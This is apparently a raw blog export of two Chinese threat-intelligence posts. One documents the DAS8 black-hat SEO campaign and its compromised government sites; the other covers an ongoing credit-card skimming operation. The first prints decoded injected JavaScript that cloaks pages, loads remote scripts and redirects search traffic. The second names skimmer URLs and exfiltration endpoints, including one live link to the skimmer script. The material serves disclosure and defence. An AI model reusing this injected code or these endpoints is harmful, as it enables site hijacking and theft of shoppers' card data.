2.判断浏览器的user-agent是否包含"baidu"字符串，如果不包含则将网页title修改为"xxx人民法院"；
3.通过加壳的代码加载hxxps://www.cpdas8[.]com/cxc.js处的脚本
(function () {
/*百度推送代码*/
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360推送代码*/
var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019d2.com\";");
document.writeln("</script>");
hxxps://www.cpdas8[.]com/cxc.js的核心功能大致为：
1.将网页内容主动推送给百度搜索、360搜索，以加速搜索引擎的收录；
2.判断页面referrer中是否包含"baidu","so","sogou","uc"等搜索引擎或浏览器导航页相关的字符串，如果包含则将网页跳转至hxxps://2019c3[.]com/，并经过一系列跳转最终来到hxxps://cxc232[.]com/，一个推广网络投资及其APP的网页。
以上手法是SEO中常见的蜘蛛欺骗技术：
1.攻陷正规网站，并将其页面关键元素修改为利益相关的词汇，如本例中"北京赛车"相关的词汇；
2.正常用户使用浏览器直接访问相关域名时则将title改为原来的"xxx人民法院"，全当无事发生过；
3.搜索引擎的蜘蛛爬取页面时则会将正规网站的页面信息标记为"北京赛车"相关；
4.用户在搜索引擎中搜索"北京赛车"相关的词汇时，便会搜索到这些被攻陷的网站；
5.当用户点击搜索引擎的referrer链接访问被攻陷的网站时，便会被带到其他网站，落入SEO家族的圈套。
分析以上环节可以发现：被攻击的目标网站在搜索引擎中结果越靠前，那么SEO的收益则越大。政府网站具有一定的权威性，在搜索引擎进行排名时会有一定的加权提升，所以能被攻击的政府网站非常受SEO家族青睐。DAS8家族则是我们目前看到的影响政府网站最多的SEO家族。
深入分析
分析dasheng123123@gmail[.]com所注册的4000+个域名，主要用于三个用途：
1.黑链域名：受害网站被挂的黑链会直接请求这些域名，来进行下一步的跳转，它们是整个SEO推广的入口，如上文提到的www[.]bcdas8[.]com/www[.]cpdas8[.]com，我们还通过IP、WEB等数据关联出了www[.]dasv8[.]com。
2.中继域名：受害网站收到黑链域名的指令后跳转至中继域名，它们会从一组备选域名中选择用户访问较快的网站进行跳转，对整个跳转链条进行优化，如上文提到的2019c3[.]com。
<script language="javascript">
times=1
setInterval("times++",100)
b=1
var autourl=new Array() // 检测的站点
autourl[1]="https://CXC240.COM/?id=10226"
autourl[2]="https://CXC241.COM/?id=10226"
autourl[3]="https://CXC242.COM/?id=10226"
autourl[4]="https://CXC243.COM/?id=10226"
autourl[5]="https://CXC244.COM/?id=10226"
autourl[6]="https://CXC245.COM/?id=10226"
autourl[7]="https://CXC240.COM/?id=10226"
// 判断第一个反应的网站并进行跳转
function auto(url){
window.location.replace(url);
b++
}
// 进行故意错误请求并得到反应速度
function run(){
for(var i=1;i<autourl.length;i++)
document.write("<img src=http://"+autourl[i].split("//")[1].split("/")[0]+"/"+Math.random()+" width=1 height=1 onerror=auto('"+autourl[i]+"')>")
}
run()
</script>
3.推广域名：它们是整个链条的最后一站，承载着实际的WEB网页完成推广，如上文中提到的cxc232[.]com。推广域名的生存周期很短，被注册后，一般仅使用1年甚至更短的时间。
截至本文发布时:
1.部分受影响的网站已经移除了恶意代码，我们在IOC中列出了过去4个月内受到攻击的网站。
2.攻击者在入侵部分网站之后，不再将恶意代码嵌入页面中，而是通过恶意代码污染相关js库的方式来逃避检测。
如果读者是附件列表中网站的管理人员，可以利用下列手段自查：
以chrome为例，在其开发者工具的Sources面板中观察网站加载过程中是否出现相关URL；
一旦发现，在Network面板中观察可疑URL的调用过程，最终定位到恶意代码并移除。
IOCs
domain:
www[.]bcdas8[.]com
www[.]cpdas8[.]com
www[.]dasv8[.]com
whois email:
dasheng123123@gmail[.]com
部分受影响网站
last_seen_timestamp FQDN
2019-05-31T07:31:36.000Z www.hnhxhbj.gov.cn
2019-05-31T07:31:04.000Z wlj.shishou.gov.cn
2019-05-31T07:26:35.000Z ttbwg.gszhuanglang.gov.cn
2019-05-31T07:24:59.000Z stbc.swj.wuhan.gov.cn
2019-05-30T07:37:51.000Z www.ccad.gov.cn
2019-05-29T07:44:07.000Z www.gyaj.gov.cn
2019-05-29T07:40:25.000Z www.jyqfy.gov.cn
2019-05-29T07:29:00.000Z www.qgqrd.gov.cn
2019-05-29T07:26:55.000Z www.swfp.gov.cn
2019-05-28T07:46:57.000Z www.antufy.gov.cn
2019-05-27T07:34:56.000Z www.jxmj.gov.cn
2019-05-11T16:43:50.000Z www.bzgqt.gov.cn
2019-05-09T07:32:04.000Z old.xxrd.gov.cn
2019-05-08T12:25:28.000Z www.xxrd.gov.cn
2019-05-07T02:34:48.000Z jkqgwh.cnbz.gov.cn
2019-05-06T13:07:43.000Z xxgk.baiyangdian.gov.cn
2019-05-04T16:11:34.000Z www.nxwh.gov.cn
2019-05-04T16:07:58.000Z whhlyt.nx.gov.cn
2019-05-04T16:07:07.000Z www.dalisn.gov.cn
2019-05-02T05:24:04.000Z www.scdj.gov.cn
2019-04-28T10:29:30.000Z www.idrc.gov.cn
2019-04-27T12:36:11.000Z www.xywgxj.gov.cn
2019-04-25T13:16:56.000Z www.xytjj.gov.cn
2019-04-23T07:11:52.000Z mail.zhengzhou.gov.cn
2019-04-20T07:27:22.000Z www.lnwdxf.gov.cn
2019-04-19T07:27:37.000Z wm.ahtxq.gov.cn
2019-04-17T07:19:12.000Z www.cdnmj.gov.cn
2019-04-16T16:28:40.000Z www.hgwh.gov.cn
2019-04-16T08:40:16.000Z dx.ww.gov.cn
2019-04-15T19:30:49.000Z www.pljcy.gov.cn
2019-04-15T19:23:20.000Z www.fcgls.gov.cn
2019-04-15T19:21:23.000Z www.sjzsglj.gov.cn
2019-04-14T19:26:30.000Z www.jxqsq.gov.cn
2019-04-14T19:23:00.000Z www.gyfy.gov.cn
2019-04-14T19:02:38.000Z ynb.nea.gov.cn
2019-04-13T19:14:58.000Z www.nsjw.gov.cn
2019-04-13T19:02:39.000Z ghj.pingliang.gov.cn
2019-04-12T19:22:59.000Z m.zcjjkfq.gov.cn
2019-04-12T19:21:12.000Z jsjy.nm.jcy.gov.cn
2019-04-11T19:13:38.000Z www.asmm.gov.cn
2019-04-11T19:07:40.000Z www.jjtown.gov.cn
2019-04-11T16:46:17.000Z daj.guilin.gov.cn
2019-04-10T19:28:10.000Z www.wwzx.gov.cn
2019-04-10T19:15:58.000Z www.ahqyzx.gov.cn
2019-04-10T19:13:55.000Z hbafricacenter.llb.chutianyun.gov.cn
2019-04-09T19:28:32.000Z www.fxrdw.gov.cn
2019-04-09T19:10:25.000Z jcy.kaiping.gov.cn
2019-04-09T00:24:31.000Z www.hcjjkfq.gov.cn
2019-04-08T19:27:51.000Z www.yangchenghu.gov.cn
2019-04-08T19:18:49.000Z exam.qgqrd.gov.cn
2019-04-08T19:16:54.000Z zazhi.xysww.gov.cn
2019-04-08T19:15:39.000Z nyncj.chengde.gov.cn
2019-04-08T19:06:19.000Z www.xyskx.gov.cn
2019-04-08T02:46:25.000Z www.lsbb.gov.cn
2019-04-08T01:46:48.000Z www.xyhcq.gov.cn
2019-04-07T19:11:15.000Z www.wwrd.gov.cn
2019-04-07T04:50:01.000Z www.wlqrd.gov.cn
2019-04-06T05:45:12.000Z www.shfy.gov.cn
2019-04-05T19:36:15.000Z www.lxdj.gov.cn
2019-04-04T19:21:27.000Z api.shfy.gov.cn
2019-04-04T19:17:09.000Z www.gxdb.gov.cn
2019-04-04T03:33:17.000Z www.ggxfy.gov.cn
2019-04-03T19:27:21.000Z www.jnzxw.gov.cn
2019-04-03T19:19:28.000Z www.lslz.gov.cn
2019-04-02T19:57:45.000Z api.gyfy.gov.cn
2019-04-02T19:56:08.000Z www.zjksw.gov.cn
2019-04-02T08:26:10.000Z www.ffwmw.gov.cn
2019-04-02T06:12:27.000Z www.weishanhu.gov.cn
2019-04-01T20:05:38.000Z www.jsmg.gov.cn
2019-03-31T19:44:15.000Z www.shandongipc.gov.cn
2019-03-31T11:07:05.000Z www.nxdj.gov.cn
2019-03-30T19:11:45.000Z dxga.zgdx.gov.cn
2019-03-30T19:10:42.000Z www.ngdzjksw.gov.cn
2019-03-29T19:18:08.000Z shuju.zglz.gov.cn
2019-03-27T20:05:58.000Z www.hmsf.gov.cn
2019-03-27T00:28:21.000Z www.wzcgj.gov.cn
2019-03-26T19:41:07.000Z www.shdjej.gov.cn
2019-03-26T19:17:28.000Z www.zglz.gov.cn
2019-03-25T20:05:11.000Z www.xyjk.gov.cn
2019-03-25T19:21:04.000Z www.0597.gov.cn
2019-03-25T00:36:55.000Z www.yglh.gov.cn
2019-03-25T00:28:35.000Z www.xyjc.gdxy.gov.cn
2019-03-24T19:09:12.000Z gxs.wuhai.gov.cn
2019-03-21T19:19:37.000Z www.dbxc.gov.cn
2019-03-20T19:16:51.000Z zbb.changde.gov.cn
2019-03-20T19:06:52.000Z zw.lfgy.gov.cn
2019-03-19T06:35:50.000Z www.lfgy.gov.cn
2019-03-11T16:51:23.941Z www.nk93.gov.cn
2019-03-10T21:30:35.471Z www.mczx.gov.cn
2019-03-06T08:53:18.452Z qsh.qingshuihe.gov.cn
2019-03-04T16:40:57.313Z www.zwpf.gov.cn
2019-02-27T22:42:19.675Z www.nmgzxbq.gov.cn
2019-02-27T20:46:28.401Z www.qingshuihe.gov.cn
2019-02-24T07:25:33.358Z www.ezga.gov.cn
2019-02-24T01:17:28.044Z www.xydz.gov.cn
2019-02-21T22:30:35.446Z www.ygyc.gov.cn
2019-02-19T10:27:59.237Z www.zgydds.gov.cn
2019-02-17T16:42:46.101Z www.qjwsj.gov.cn
2019-02-16T23:51:59.194Z www.ecpi.suzhou.gov.cn
2019-02-12T01:12:43.821Z www.xtsghj.gov.cn
2019-02-11T23:52:36.268Z www.wyxrd.gov.cn
2019-02-09T21:28:19.303Z www.xihua.gov.cn
2019-02-05T00:34:28.682Z www.jciz.gov.cn
2019-02-02T23:48:39.182Z www.suqiancity.gov.cn
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"------\n> DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。\n------\n\n\n## 摘要\n\n\n在过去的4个月内，按照DNSMon的观察，包括104个政府网站在内，全网有超过42000+的网站被一个大型黑帽SEO家族渗透控制并植入了恶意URL链接。这些恶意URL通常将来自搜索引擎的访问层层跳转至流量的最终变现页面，例如网络投资APP（可能存在仿冒）。\n\n\n值得一提的是，如果用户是在浏览器内输入网址访问这些网页，而非经搜索引擎跳转，那么恶意URL链接可能不会被触发，用户看到的仅是正常页面。通过这种方式，攻击者试图保持被黑网站的老用户的浏览体验，增强自身的隐蔽性。\n\n\n我们将该SEO家族命名为DAS8，这主要是因为该家族使用邮箱dasheng123123@gmail[.]com注册了上千个域名。除了DAS8以外，我们还观察到了类似的若干家族。考虑到DAS8的感染规模显著超过了其他任何家族，我们认为有必要将DAS8的行为记录下来。\n\n\n## 缘起\n\n\n在我们跟踪一些政府网站时发现了一系列奇怪的现象：\n\n\n1.这些政府网站加载WEB资源时会去请求www.bcdas8[.]com或www.cpdas8[.]com两个域名；\n2.两个域名本身并不具备非常高的流行度，也没有ICP备案；\n3.两个域名解析的IP:103.94.78.4/103.94.78.39，位于境外同一网段，且不属于CDN、企业等特别持有的IP；\n4.两个域名共用一个HTTPS证书，证书SAN中还包括另外7个形如www.\\*das8\\*[.]com的域名；\n5.两个域名的URL结构存在异常形式，全部为hxxp://\\*/.{2,6}.js的形式；\n6.两个域名由同一个人注册，使用的注册邮箱存在异常注册行为。\n\n\n这引起了我们的注意，这些正规的政府网站为什么会去请求这组域名？\n\n\n## 案例分析\n\n\n任意选择一个产生上述异常的网站，观察其页面源代码。\n\n\n\n\n\n发现混淆了部分代码，解码后得到\n\n\n```javascript\ntitle: 北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】\nkeywords: 北京赛车,北京赛车官网,北京赛车开奖,北京赛车走势图,北京赛车投注,北京赛车网上投注,北京赛车投注平台\ndescription: 北京赛车,北京赛车开奖网【官方网址:XX567.COM】同步北京福彩赛车公司官网开奖,提供北京赛车开奖结果,北京赛车开奖记录,pk10开奖结果直播查询,pk10开奖直播记录查询,北京pk10赛车结果,北京pk10过往各开奖记录,pk10开奖,专业的开奖视频北京pk10网\n\nscript1:\nif(navigator.userAgent.toLocaleLowerCase().indexOf(\"baidu\") == -1){document.title =\"xxx人民法院\"}\n\nscript2:\nwindow['document']['write']('<script type=\"text/javascript\" src=\"https://www.cpdas8.com/cxc.js\"></script>')\n```\n\n\n功能大致为：\n1.将网页的关键元素title/keywords/description改为\"北京赛车\"相关的信息；\n2.判断浏览器的user-agent是否包含\"baidu\"字符串，如果不包含则将网页title修改为\"xxx人民法院\"；\n3.通过加壳的代码加载hxxps://www.cpdas8[.]com/cxc.js处的脚本\n\n\n```javascipt\n(function () {\n /*百度推送代码*/\n var bp = document.createElement('script');\n bp.src = '//push.zhanzhang.baidu.com/push.js';\n var s = document.getElementsByTagName(\"script\")[0];\n s.parentNode.insertBefore(bp, s);\n /*360推送代码*/\n var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';\n document.write('<script src=\"' + src + '\" id=\"sozz\"><\\/script>');\n })();\n\ndocument.writeln(\"<script LANGUAGE=\\\"Javascript\\\">\");\ndocument.writeln(\"var s=document.referrer\");\ndocument.writeln(\"if(s.indexOf(\\\"baidu\\\")>0 || s.indexOf(\\\"sogou\\\")>0 || s.indexOf(\\\"soso\\\")>0 ||s.indexOf(\\\"sm\\\")>0 ||s.indexOf(\\\"uc\\\")>0 ||s.indexOf(\\\"bing\\\")>0 ||s.indexOf(\\\"yahoo\\\")>0 ||s.indexOf(\\\"so\\\")>0 )\");\ndocument.writeln(\"location.href=\\\"https://2019d2.com\\\";\");\ndocument.writeln(\"</script>\");\n```\n\n\nhxxps://www.cpdas8[.]com/cxc.js的核心功能大致为：\n1.将网页内容主动推送给百度搜索、360搜索，以加速搜索引擎的收录；\n2.判断页面referrer中是否包含\"baidu\",\"so\",\"sogou\",\"uc\"等搜索引擎或浏览器导航页相关的字符串，如果包含则将网页跳转至hxxps://2019c3[.]com/，并经过一系列跳转最终来到hxxps://cxc232[.]com/，一个推广网络投资及其APP的网页。\n\n\n\n\n\n以上手法是SEO中常见的蜘蛛欺骗技术：\n1.攻陷正规网站，并将其页面关键元素修改为利益相关的词汇，如本例中\"北京赛车\"相关的词汇；\n2.正常用户使用浏览器直接访问相关域名时则将title改为原来的\"xxx人民法院\"，全当无事发生过；\n3.搜索引擎的蜘蛛爬取页面时则会将正规网站的页面信息标记为\"北京赛车\"相关；\n4.用户在搜索引擎中搜索\"北京赛车\"相关的词汇时，便会搜索到这些被攻陷的网站；\n5.当用户点击搜索引擎的referrer链接访问被攻陷的网站时，便会被带到其他网站，落入SEO家族的圈套。\n\n\n分析以上环节可以发现：被攻击的目标网站在搜索引擎中结果越靠前，那么SEO的收益则越大。政府网站具有一定的权威性，在搜索引擎进行排名时会有一定的加权提升，所以能被攻击的政府网站非常受SEO家族青睐。DAS8家族则是我们目前看到的影响政府网站最多的SEO家族。\n\n\n## 深入分析\n\n\n分析dasheng123123@gmail[.]com所注册的4000+个域名，主要用于三个用途：\n1.黑链域名：受害网站被挂的黑链会直接请求这些域名，来进行下一步的跳转，它们是整个SEO推广的入口，如上文提到的www[.]bcdas8[.]com/www[.]cpdas8[.]com，我们还通过IP、WEB等数据关联出了www[.]dasv8[.]com。\n2.中继域名：受害网站收到黑链域名的指令后跳转至中继域名，它们会从一组备选域名中选择用户访问较快的网站进行跳转，对整个跳转链条进行优化，如上文提到的2019c3[.]com。\n```\n<script language=\"javascript\">\ntimes=1\nsetInterval(\"times++\",100)\nb=1\nvar autourl=new Array() // 检测的站点\nautourl[1]=\"https://CXC240.COM/?id=10226\"\nautourl[2]=\"https://CXC241.COM/?id=10226\"\nautourl[3]=\"https://CXC242.COM/?id=10226\"\nautourl[4]=\"https://CXC243.COM/?id=10226\"\nautourl[5]=\"https://CXC244.COM/?id=10226\"\nautourl[6]=\"https://CXC245.COM/?id=10226\"\nautourl[7]=\"https://CXC240.COM/?id=10226\"\n// 判断第一个反应的网站并进行跳转\nfunction auto(url){\n window.location.replace(url);\n b++\n}\n// 进行故意错误请求并得到反应速度\nfunction run(){\n for(var i=1;i<autourl.length;i++)\n document.write(\"<img src=http://\"+autourl[i].split(\"//\")[1].split(\"/\")[0]+\"/\"+Math.random()+\" width=1 height=1 onerror=auto('\"+autourl[i]+\"')>\")\n}\nrun()\n</script>\n```\n3.推广域名：它们是整个链条的最后一站，承载着实际的WEB网页完成推广，如上文中提到的cxc232[.]com。推广域名的生存周期很短，被注册后，一般仅使用1年甚至更短的时间。\n\n\n截至本文发布时:\n1.部分受影响的网站已经移除了恶意代码，我们在IOC中列出了过去4个月内受到攻击的网站。\n2.攻击者在入侵部分网站之后，不再将恶意代码嵌入页面中，而是通过恶意代码污染相关js库的方式来逃避检测。\n\n\n\n\n\n\n\n\n如果读者是附件列表中网站的管理人员，可以利用下列手段自查：\n以chrome为例，在其开发者工具的Sources面板中观察网站加载过程中是否出现相关URL；\n\n\n\n\n\n一旦发现，在Network面板中观察可疑URL的调用过程，最终定位到恶意代码并移除。\n\n\n\n\n\n## IOCs\n\n\n```\ndomain:\nwww[.]bcdas8[.]com\nwww[.]cpdas8[.]com\nwww[.]dasv8[.]com\n\nwhois email:\ndasheng123123@gmail[.]com\n```\n\n\n## 部分受影响网站\n\n\n```\nlast_seen_timestamp\t FQDN\n\n2019-05-31T07:31:36.000Z\twww.hnhxhbj.gov.cn\n2019-05-31T07:31:04.000Z\twlj.shishou.gov.cn\n2019-05-31T07:26:35.000Z\tttbwg.gszhuanglang.gov.cn\n2019-05-31T07:24:59.000Z\tstbc.swj.wuhan.gov.cn\n2019-05-30T07:37:51.000Z\twww.ccad.gov.cn\n2019-05-29T07:44:07.000Z\twww.gyaj.gov.cn\n2019-05-29T07:40:25.000Z\twww.jyqfy.gov.cn\n2019-05-29T07:29:00.000Z\twww.qgqrd.gov.cn\n2019-05-29T07:26:55.000Z\twww.swfp.gov.cn\n2019-05-28T07:46:57.000Z\twww.antufy.gov.cn\n2019-05-27T07:34:56.000Z\twww.jxmj.gov.cn\n2019-05-11T16:43:50.000Z\twww.bzgqt.gov.cn\n2019-05-09T07:32:04.000Z\told.xxrd.gov.cn\n2019-05-08T12:25:28.000Z\twww.xxrd.gov.cn\n2019-05-07T02:34:48.000Z\tjkqgwh.cnbz.gov.cn\n2019-05-06T13:07:43.000Z\txxgk.baiyangdian.gov.cn\n2019-05-04T16:11:34.000Z\twww.nxwh.gov.cn\n2019-05-04T16:07:58.000Z\twhhlyt.nx.gov.cn\n2019-05-04T16:07:07.000Z\twww.dalisn.gov.cn\n2019-05-02T05:24:04.000Z\twww.scdj.gov.cn\n2019-04-28T10:29:30.000Z\twww.idrc.gov.cn\n2019-04-27T12:36:11.000Z\twww.xywgxj.gov.cn\n2019-04-25T13:16:56.000Z\twww.xytjj.gov.cn\n2019-04-23T07:11:52.000Z\tmail.zhengzhou.gov.cn\n2019-04-20T07:27:22.000Z\twww.lnwdxf.gov.cn\n2019-04-19T07:27:37.000Z\twm.ahtxq.gov.cn\n2019-04-17T07:19:12.000Z\twww.cdnmj.gov.cn\n2019-04-16T16:28:40.000Z\twww.hgwh.gov.cn\n2019-04-16T08:40:16.000Z\tdx.ww.gov.cn\n2019-04-15T19:30:49.000Z\twww.pljcy.gov.cn\n2019-04-15T19:23:20.000Z\twww.fcgls.gov.cn\n2019-04-15T19:21:23.000Z\twww.sjzsglj.gov.cn\n2019-04-14T19:26:30.000Z\twww.jxqsq.gov.cn\n2019-04-14T19:23:00.000Z\twww.gyfy.gov.cn\n2019-04-14T19:02:38.000Z\tynb.nea.gov.cn\n2019-04-13T19:14:58.000Z\twww.nsjw.gov.cn\n2019-04-13T19:02:39.000Z\tghj.pingliang.gov.cn\n2019-04-12T19:22:59.000Z\tm.zcjjkfq.gov.cn\n2019-04-12T19:21:12.000Z\tjsjy.nm.jcy.gov.cn\n2019-04-11T19:13:38.000Z\twww.asmm.gov.cn\n2019-04-11T19:07:40.000Z\twww.jjtown.gov.cn\n2019-04-11T16:46:17.000Z\tdaj.guilin.gov.cn\n2019-04-10T19:28:10.000Z\twww.wwzx.gov.cn\n2019-04-10T19:15:58.000Z\twww.ahqyzx.gov.cn\n2019-04-10T19:13:55.000Z\thbafricacenter.llb.chutianyun.gov.cn\n2019-04-09T19:28:32.000Z\twww.fxrdw.gov.cn\n2019-04-09T19:10:25.000Z\tjcy.kaiping.gov.cn\n2019-04-09T00:24:31.000Z\twww.hcjjkfq.gov.cn\n2019-04-08T19:27:51.000Z\twww.yangchenghu.gov.cn\n2019-04-08T19:18:49.000Z\texam.qgqrd.gov.cn\n2019-04-08T19:16:54.000Z\tzazhi.xysww.gov.cn\n2019-04-08T19:15:39.000Z\tnyncj.chengde.gov.cn\n2019-04-08T19:06:19.000Z\twww.xyskx.gov.cn\n2019-04-08T02:46:25.000Z\twww.lsbb.gov.cn\n2019-04-08T01:46:48.000Z\twww.xyhcq.gov.cn\n2019-04-07T19:11:15.000Z\twww.wwrd.gov.cn\n2019-04-07T04:50:01.000Z\twww.wlqrd.gov.cn\n2019-04-06T05:45:12.000Z\twww.shfy.gov.cn\n2019-04-05T19:36:15.000Z\twww.lxdj.gov.cn\n2019-04-04T19:21:27.000Z\tapi.shfy.gov.cn\n2019-04-04T19:17:09.000Z\twww.gxdb.gov.cn\n2019-04-04T03:33:17.000Z\twww.ggxfy.gov.cn\n2019-04-03T19:27:21.000Z\twww.jnzxw.gov.cn\n2019-04-03T19:19:28.000Z\twww.lslz.gov.cn\n2019-04-02T19:57:45.000Z\tapi.gyfy.gov.cn\n2019-04-02T19:56:08.000Z\twww.zjksw.gov.cn\n2019-04-02T08:26:10.000Z\twww.ffwmw.gov.cn\n2019-04-02T06:12:27.000Z\twww.weishanhu.gov.cn\n2019-04-01T20:05:38.000Z\twww.jsmg.gov.cn\n2019-03-31T19:44:15.000Z\twww.shandongipc.gov.cn\n2019-03-31T11:07:05.000Z\twww.nxdj.gov.cn\n2019-03-30T19:11:45.000Z\tdxga.zgdx.gov.cn\n2019-03-30T19:10:42.000Z\twww.ngdzjksw.gov.cn\n2019-03-29T19:18:08.000Z\tshuju.zglz.gov.cn\n2019-03-27T20:05:58.000Z\twww.hmsf.gov.cn\n2019-03-27T00:28:21.000Z\twww.wzcgj.gov.cn\n2019-03-26T19:41:07.000Z\twww.shdjej.gov.cn\n2019-03-26T19:17:28.000Z\twww.zglz.gov.cn\n2019-03-25T20:05:11.000Z\twww.xyjk.gov.cn\n2019-03-25T19:21:04.000Z\twww.0597.gov.cn\n2019-03-25T00:36:55.000Z\twww.yglh.gov.cn\n2019-03-25T00:28:35.000Z\twww.xyjc.gdxy.gov.cn\n2019-03-24T19:09:12.000Z\tgxs.wuhai.gov.cn\n2019-03-21T19:19:37.000Z\twww.dbxc.gov.cn\n2019-03-20T19:16:51.000Z\tzbb.changde.gov.cn\n2019-03-20T19:06:52.000Z\tzw.lfgy.gov.cn\n2019-03-19T06:35:50.000Z\twww.lfgy.gov.cn\n2019-03-11T16:51:23.941Z\twww.nk93.gov.cn\n2019-03-10T21:30:35.471Z\twww.mczx.gov.cn\n2019-03-06T08:53:18.452Z\tqsh.qingshuihe.gov.cn\n2019-03-04T16:40:57.313Z\twww.zwpf.gov.cn\n2019-02-27T22:42:19.675Z\twww.nmgzxbq.gov.cn\n2019-02-27T20:46:28.401Z\twww.qingshuihe.gov.cn\n2019-02-24T07:25:33.358Z\twww.ezga.gov.cn\n2019-02-24T01:17:28.044Z\twww.xydz.gov.cn\n2019-02-21T22:30:35.446Z\twww.ygyc.gov.cn\n2019-02-19T10:27:59.237Z\twww.zgydds.gov.cn\n2019-02-17T16:42:46.101Z\twww.qjwsj.gov.cn\n2019-02-16T23:51:59.194Z\twww.ecpi.suzhou.gov.cn\n2019-02-12T01:12:43.821Z\twww.xtsghj.gov.cn\n2019-02-11T23:52:36.268Z\twww.wyxrd.gov.cn\n2019-02-09T21:28:19.303Z\twww.xihua.gov.cn\n2019-02-05T00:34:28.682Z\twww.jciz.gov.cn\n2019-02-02T23:48:39.182Z\twww.suqiancity.gov.cn\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5cd148e740e02300075fa902 |
post | null | 2019-05-13T10:23:49.000Z | 63873b9a8b1c1e0007f52f4b | xin-yong-qia-shu-ju-xie-lou-chi-xu-jin-xing-zhong | 0 | 2019-05-14T07:49:23.000Z | public | published | null | 2019-05-14T07:49:23.000Z | 信用卡数据泄漏持续进行中 [快速更新] | <!--kg-card-begin: markdown--><hr>
<blockquote>
<p>DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。</p>
</blockquote>
<hr>
<h2 id="">黑客在行动</h2>
<p>5月8号，我们发布文章 <<a href="__GHOST_URL__/xinyongka-shuju-xielou/">信用卡数据泄漏持续进行中</a>>，揭露了一个通过入侵购物网站来窃取信用卡信息的案例。文章发布后不久，我们发现黑客们开始做调整，原始域名 magento-analytics[.]com 已经下线。</p>
<p>但不久，我们的 DNSMon 系统在UTC时间 2019-05-13 凌晨时候捕捉到该黑客的2个更新，被用于同样的信用卡信息窃取。</p>
<h3 id="1jqueryextdat">更新1: 启动了一个新域名：jqueryextd[.]at</h3>
<p>对应的恶意JS链接为 “hxxps://jqueryextd.at/5c21f3dbf01e0.js”，脚本中上报地址也对应的改为了“hxxps://jqueryextd.at/gate.php"</p>
<p><img src="__GHOST_URL__/content/images/2019/05/update1.new_domain.jpg" alt="update1.new_domain" loading="lazy"></p>
<h3 id="2jsjsjs">更新2: 换了JS加载方式：从挂载JS链接改为内嵌JS代码</h3>
<p>之前的案例中，都是通过外链一个恶意JS脚本来执行恶意脚本，现在发现黑客直接将恶意脚本JS的内容内嵌到网站代码中来执行。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/update1.embeded_js.jpg" alt="update1.embeded_js" loading="lazy"></p>
<h2 id="">另外一个黑客：代码混淆 & 新上报地址</h2>
<p>于此同时，我们还发现了另外一个黑客的行动迹象。该黑客从今年2月初开始活动，最开始使用的外链 JS 脚本地址是 "hxxp://adwordstraffic.link/onestepcheckoutccpayment.js"<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>, 同时对应上报地址为 "hxxps://adwordstraffic.link/validation/" 。从JS代码来看，和前述的 magento-analytics[.]com/jqueryextd[.]at 如出一辙，但是域名以及IP都和前述黑客所用不同，所以我们怀疑这可能是另外一个控制者。</p>
<pre><code>adwordstraffic.link A 89.32.251.136 #GEO:Iran
</code></pre>
<p>最近几天，该黑客所使用的域名也已经停止解析，他们开始将恶意JS代码混淆，直接嵌入受害者网站代码中，同时将上报地址也改为了裸IP的方式 "hxxp://89.32.251.136/validation/"。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/update1.new_ip.jpg" alt="update1.new_ip" loading="lazy"></p>
<h2 id="">当前新方式感染网站列表</h2>
<pre><code>InfectedWebSite Method ReportAddress
-----------------------------------------------------------------------
vezabands.com Linked_JS "https://jqueryextd.at/gate.php"
cigarhumidors-online.com Embeded_JS "https://jqueryextd.at/gate.php"
decabana.com Embeded_JS "https://jqueryextd.at/gate.php"
omejo.com Embeded_JS "https://jqueryextd.at/gate.php"
backyardmas.com Embeded_JS "https://jqueryextd.at/gate.php" [removed]
luxerwatches.ca Embeded_JS "http://89.32.251.136/validation/"
luxerwatches.com Embeded_JS "http://89.32.251.136/validation/"
bragardusa.com Embeded_JS "http://89.32.251.136/validation/"
ecompressedair.com Embeded_JS "http://89.32.251.136/validation/"
flatiron-wines.com Embeded_JS "http://89.32.251.136/validation/"
thalgousa.com Embeded_JS "http://89.32.251.136/validation/"
</code></pre>
<h2 id="">后续</h2>
<p>针对该案例，我们不再公开我们的跟踪技术，但我们的 DNSMon 有能力持续跟踪，且仍将持续跟踪。</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>域名已经失效，截止到5.14号，原始JS仍可以通过裸IP的方式获取" <a href="https://89.32.251.136/onestepcheckoutauthorizenet.js">https://89.32.251.136/onestepcheckoutauthorizenet.js</a>" <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--> |
DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。
黑客在行动
